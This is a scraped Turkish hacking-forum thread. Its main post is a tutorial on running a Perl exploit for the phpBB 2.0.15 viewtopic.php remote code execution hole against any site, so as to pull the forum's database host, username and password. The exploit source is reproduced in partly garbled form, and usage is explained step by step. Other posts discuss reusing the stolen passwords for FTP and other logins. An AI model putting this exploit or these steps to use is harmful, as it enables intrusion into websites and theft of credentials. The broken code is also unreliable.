perlde exploit derlenmez çalıştırılır. Ukalalık olarak alma düzeltmek istedim. to be or not to be.

:perlde exploit derlenmez çalıştırılır. Ukalalık olarak alma düzeltmek istedim. hadiya!!! çok biliyordun sen yazsaydın dkümanı... Bilgi ceza, Bilgi suç ve Taşımak ağır. Unutmak ise ğrenmekten daha çok zaman alır...

bununla config. phpnin içeriğine yazılmış kullanıcı acı şifre veritabanı ismini okuyabilirsiniz. Yanlız veritabanına dışarıdan bağlanmak için nce host admin panelinden %.%.%.% iplerinin bağlanmasına izin verilmesi gerekmektedir. Onun haricinde server bağlantıyı kabul etmez. Ve genellikle o bağlantı default olarak kapalı geldiğinden bağlanamazsınız... O zaman ne işe yarar bu?yle siteler varki ftp şifresi ile db şifresi aynı oluyor. yada o şifreler başka yerdede kullanılmış oluyor.. Hem bu sadece bir rnek idi :) Sanıyorum kendi ataszümü yaptım, kaynak belirterek kullanabilirsiniz. 10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Not : Syleyeni belli olduğu için ataszü değil, zlüsz oluyormuş, dolayısı ile kendi zlüszümü yapmış oldum :)

Yaw bi ara mysql front diye bi pro grmüştüm. sabah eve gidince atarım rapid e... kendinize ayığ olunuz

asıl ben kimseye sataşmadım iyi niyetle düzeltme yapayım dedim arkadaş bodoslama üstüne atladı. İlginç... to be or not to be.

:bu expolit bize direk admin sifresini mi veriyor dostum hyr. database in kullanıcı adı ve şifresini verir. sende db ye bağlanarak herşeyi yapabilirsin

Bu sitelerden çeşitli exploitler bulabilirsiniz ama C exploitler bu şekilde derlenmez haberiniz olsun :)http://exploitwatch.org/modules/evennews/archives. phphttp://www.securiteam.com/exploits/ Fakat syleyin kardeşlerim; insanlığın bir ereği eksikse, eksik değil midir- bizzat kendisi de?

bu expolit bize direk admin sifresini mi veriyor dostum

:fuzbing bunu yazdı: perlde exploit derlenmez çalıştırılır. Ukalalık olarak alma düzeltmek istedim. hadiya!!! çok biliyordun sen yazsaydın dkümanı... buranın sazanı senmisin. to be or not to be.

Tartışma olmasın diye birşey yazmadım. Sense millete sataşıyorsun. Biraz duzgun davran. Sazan sensin sanırım bu yazdıklarından sora yle gruyorum. Fakat syleyin kardeşlerim; insanlığın bir ereği eksikse, eksik değil midir- bizzat kendisi de?

: m3rt bunu yazdı: hyr. database in kullanıcı adı ve şifresini verir. sende db ye bağlanarak herşeyi yapabilirsin dışarıdan mySQL'ye nasıl bağlanacaksın? database nasıl baglancaz ewerbi kac siteye girdimde :) sending explolit FAİLED dio :) kapatmıslar dımı

Sağol..

Perl ile Exploit derleme... ncelikle Perl'de exploit derlemek için ActivePerli indirin: http://aspn.activestate.com/ASPN/Downloads/ActivePerl/Kurulum bittiği zaman C:\Perl diye bir dizin çıkacak. Şimdi rnek bir exploitle, exploit derlemeyi anlatacağım.. ncelikle Exploiti txt dosyasına kaydedip farklı kaydetten Perl\bin klasrüne. pl uzantılı olarak koymamız lazım.. pl uzantı otomatikman Perl dosyasına dnüşmeli, Eğer Text olarak kalıyorsa , Belgelerim üzerindeki Araçlar sekmesindenKlasr Seçenekleri/Grünüm/Dosyaların gerçek uzantılarını gizle sekmesindeki ticki kaldırın: Exploitimizin adı exploitin kodlarında gizlidir. Yanlış adla kaydedersek çalışmaz. Normalde bir exploitin adını ğrenmek için ctrl+a ya basın arama seçeneği çıkacaktır. pl yi aratın, adını greceksiniz. Mesela aşşağıdaki Exploitin adı phpbbSecureD. plbu şekilde kaydedin:#!/usr/bin/perl# # # phpBB 2.0.15 Viewtopic. PHP Remote Code Execution Vulnerability # This exploit gives the user all the details about the database # connection such as database host, username, password and # database name.# # Written by SecureD, gvr. secured<AT>gmail<DOT>com,2005 # # Greetings to GvR, Jumento, PP, CKrew & friends# # use IO::Socket;print "+ +\r\n";print "| PhpBB 2.0.15 Database Authentication Details Exploit |\r\n";print "| By SecureD gvr. secured<AT>gmail<DOT>com |\r\n";print "+ +\r\n";if (@ARGV < 3) $serv = $ARGV ;$dir = $ARGV ;$threadid = $ARGV ;$cookie = $ARGV ;$serv = s/http:\/\///ge;$delimit = "GvRSecureD";$sploit = $dir. "viewtopic. php?t=";$sploit.= $threadid;$sploit.= "&highlight='. printf .'";$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")or die " Connecting... Could not connect to host.\n\n";print " Connecting OK\n";sleep(1);print " Sending exploit ";print $sock "GET $sploit HTTP/1.1\r\n";print $sock "Host: $serv\r\n";if print $sock "Connection: close\r\n\r\n";$succes = 0;while {$delimitIndex = index $answer, $delimit;if ($delimitIndex >= 0) {$succes = 1;$urlIndex = index $answer, "href";if ($urlIndex < 0){$answer = substr($answer, length ;$length = 0;while (length > 0) {$nex = index ;if ($nex > 0) else }}}}close ;if ($succes 1) else Gelelim bu exploiti derlemeye başlat/çalıştır/cmd yazıyoruz siyah bir ekran çıkıyor. Şimdi bizim exploitimiz, C:\Perl\bin dizininde ama sizin cmd deki komut dizini C:\Documenfalanfilan\useradi şeklinde. Biz Perl\bin dizinineulaşmak için "cd.." yazıyoruz ve C:\Documentfalanfilan kalıyor bir daha "cd.." yazıyoruz. C:\ dizini kalıyor. Şimdi "cd Perl" yazıyoruz C:\Perl dizinine ulaşıyor ama biz bin e ulaşacağız bunun için cd bin yazıyoruz. Evet şimdiExploitle aynı dizindeyiz buraya daha nceden text dosyasından farklı kaydet diyerek phpbbSecureD. pl olarak kaydedittiğimiz exploitiderlemek için Perl phpbbSecureD. pl yazıyoruz, bu sayede nasıl kullanılacağını ğreniriz Ama bu exploitin kullanımışu şekildedir: Perl phpbbSecureD. pl site ipsi /forumyolu/ 20 Site ipsini bulmak için başlat/çalıştır/cmd ping www.siteadi.com rneğin phpbb yolu, www.siteadi.com/forum da ise /forumyolu/ yerine /forum/ yazıyoruz. Unutmayın bu exploit sadece phpbb 2.0.15 lerde açık kapatılmamısşa çalışır.. rnek uygulama: Bu dkümanın yeterince açık olduğuna inanıyorum sorularınız sorabilirsiniz. Seer arkadaşıma bana bu işi çok iyi anlattığı için teşekkur ederim, Onun anlatımıyla anlatmaya çalıştım. Alıntı değildir, Seer arkadaşım sayesinde benim tarafımdan dkumana dnüştürülmüştür. Fistandantilus -2005 Fakat syleyin kardeşlerim; insanlığın bir ereği eksikse, eksik değil midir- bizzat kendisi de?

:hyr. database in kullanıcı adı ve şifresini verir. sende db ye bağlanarak herşeyi yapabilirsin dışarıdan mySQL'ye nasıl bağlanacaksın? "><i>">sdad